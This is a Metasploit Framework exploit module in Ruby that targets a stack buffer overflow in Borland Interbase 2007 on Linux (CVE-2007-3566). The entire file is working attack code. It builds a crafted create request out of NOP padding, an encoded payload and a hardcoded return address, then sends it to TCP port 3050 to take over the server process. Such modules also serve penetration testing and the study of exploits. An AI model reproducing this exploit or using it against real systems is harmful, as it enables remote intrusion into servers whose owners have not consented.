## # $Id: interbase_create.rb 5068 2007-07-31 02:10:49Z ramon $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Linux::Misc::Interbase_Create < Msf::Exploit::Remote include Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Borland Interbase 2007 Create Request Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in Borland Interbase 2007 by sending a specially crafted create request. }, 'Version' => '$Revision: 5068 $', 'Author' => [ 'Ramon de Carvalho Valle ', 'Adriano Lima ', ], 'Arch' => ARCH_X86, 'Platform' => 'linux', 'References' => [ [ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ], [ 'CVE', '2007-3566' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 120, }, 'Targets' => [ # # /opt/interbase/bin/ibserver # # 804cbe4: 5e pop %esi # 804cbe5: 5d pop %ebp # 804cbe6: c3 ret # [ 'Linux - Borland Interbase 2007 Server Edition', { 'Ret' => 0x804cbe4 } ], ], 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(3050) ], self.class ) end def exploit connect # Create request buf = [0x14].pack('N') # Id buf << [0x03].pack('N') # Size buf << [0x220].pack('N') # It will return into this nop block buf << make_nops(0x21c - payload.encoded.length) # Payload buf << payload.encoded print_status("Payload encoded size is #{payload.encoded.length} bytes.") # Target buf << [target.ret].pack('V') # Padding buf << rand_text_english(32 * 1024) sock.put(buf) sleep(2) handler end end end